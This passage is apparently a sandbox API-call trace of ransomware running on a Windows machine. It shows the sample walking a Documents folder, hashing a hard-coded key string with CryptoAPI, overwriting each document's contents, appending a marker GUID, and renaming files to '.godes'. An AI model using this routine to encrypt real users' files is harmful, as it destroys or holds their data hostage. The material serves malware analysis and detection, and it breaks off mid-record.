[0114.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.494] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\4stR3pzmU2IjQjPCv2.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\4str3pzmu2ijqjpcv2.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\4stR3pzmU2IjQjPCv2.pps.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\4str3pzmu2ijqjpcv2.pps.godes")) returned 1 [0114.495] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.495] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.496] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.496] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523420a0, ftCreationTime.dwHighDateTime=0x1d4c5fe, ftLastAccessTime.dwLowDateTime=0x10527460, ftLastAccessTime.dwHighDateTime=0x1d4cb6d, ftLastWriteTime.dwLowDateTime=0x10527460, ftLastWriteTime.dwHighDateTime=0x1d4cb6d, nFileSizeHigh=0x0, nFileSizeLow=0x9510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8eSNutIhoJBu4xJsfd.odp", cAlternateFileName="8ESNUT~1.ODP")) returned 1 [0114.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.496] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.496] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.496] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\8eSNutIhoJBu4xJsfd.odp") returned=".odp" [0114.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\8eSNutIhoJBu4xJsfd.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\8esnutihojbu4xjsfd.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.497] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=38160) returned 1 [0114.497] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.498] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x94ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.498] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.500] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.500] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x9510, lpOverlapped=0x0) returned 1 [0114.500] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.501] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.501] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.501] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.501] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.501] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.501] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.501] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.501] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.501] GetLastError () returned 0x0 [0114.502] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.502] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x9510) returned 0x3323120 [0114.502] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.502] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x950b, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x950b, lpOverlapped=0x0) returned 1 [0114.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.502] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9510, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.502] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.503] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.503] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.503] CloseHandle (hObject=0x624) returned 1 [0114.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.503] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\8eSNutIhoJBu4xJsfd.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\8esnutihojbu4xjsfd.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\8eSNutIhoJBu4xJsfd.odp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\8esnutihojbu4xjsfd.odp.godes")) returned 1 [0114.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.504] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.505] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e0940b0, ftCreationTime.dwHighDateTime=0x1d4ca0c, ftLastAccessTime.dwLowDateTime=0x6a51aee0, ftLastAccessTime.dwHighDateTime=0x1d4c8de, ftLastWriteTime.dwLowDateTime=0x6a51aee0, ftLastWriteTime.dwHighDateTime=0x1d4c8de, nFileSizeHigh=0x0, nFileSizeLow=0x7903, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9iXgtByQq.doc", cAlternateFileName="9IXGTB~1.DOC")) returned 1 [0114.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.505] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.505] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\9iXgtByQq.doc") returned=".doc" [0114.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\9iXgtByQq.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\9ixgtbyqq.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.505] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=30979) returned 1 [0114.505] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.507] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x78dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.507] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.508] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.509] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x7903, lpOverlapped=0x0) returned 1 [0114.509] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.509] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.509] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.509] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.509] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.510] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.510] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.510] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.510] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.510] GetLastError () returned 0x0 [0114.510] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.510] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.510] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7900) returned 0x3323120 [0114.510] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.511] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x78fe, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x78fe, lpOverlapped=0x0) returned 1 [0114.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.511] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.511] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.511] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.511] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.511] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.511] CloseHandle (hObject=0x624) returned 1 [0114.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.512] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x331e748 [0114.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.512] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\9iXgtByQq.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\9ixgtbyqq.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\9iXgtByQq.doc.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\9ixgtbyqq.doc.godes")) returned 1 [0114.513] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.513] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.514] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5a958b0, ftCreationTime.dwHighDateTime=0x1d4c7a8, ftLastAccessTime.dwLowDateTime=0xa4649c00, ftLastAccessTime.dwHighDateTime=0x1d4d013, ftLastWriteTime.dwLowDateTime=0xa4649c00, ftLastWriteTime.dwHighDateTime=0x1d4d013, nFileSizeHigh=0x0, nFileSizeLow=0x16c9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bv9GJsGpfm.odt", cAlternateFileName="BV9GJS~1.ODT")) returned 1 [0114.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.514] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.514] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\bv9GJsGpfm.odt") returned=".odt" [0114.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\bv9GJsGpfm.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\bv9gjsgpfm.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.515] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=93339) returned 1 [0114.515] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.516] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16c75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.516] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.518] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.518] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x16c9b, lpOverlapped=0x0) returned 1 [0114.519] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.519] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.519] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.519] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.520] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.520] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.520] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.520] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.520] GetLastError () returned 0x0 [0114.520] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.520] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16ca0) returned 0x3323120 [0114.520] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.520] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x16c96, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x16c96, lpOverlapped=0x0) returned 1 [0114.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.521] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16c9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.521] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.521] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.521] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.521] CloseHandle (hObject=0x624) returned 1 [0114.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.522] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\bv9GJsGpfm.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\bv9gjsgpfm.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OstAGQ_x8J4h\\GYsSjG-g6A Jpf\\bv9GJsGpfm.odt.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ostagq_x8j4h\\gyssjg-g6a jpf\\bv9gjsgpfm.odt.godes")) returned 1 [0114.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.523] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.524] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93196010, ftCreationTime.dwHighDateTime=0x1d4d50a, ftLastAccessTime.dwLowDateTime=0x4ef68090, ftLastAccessTime.dwHighDateTime=0x1d4d54e, ftLastWriteTime.dwLowDateTime=0x4ef68090, ftLastWriteTime.dwHighDateTime=0x1d4d54e, nFileSizeHigh=0x0, nFileSizeLow=0x6ac7, dwReserved0=0xa0000003, dwReserved1=0x0, 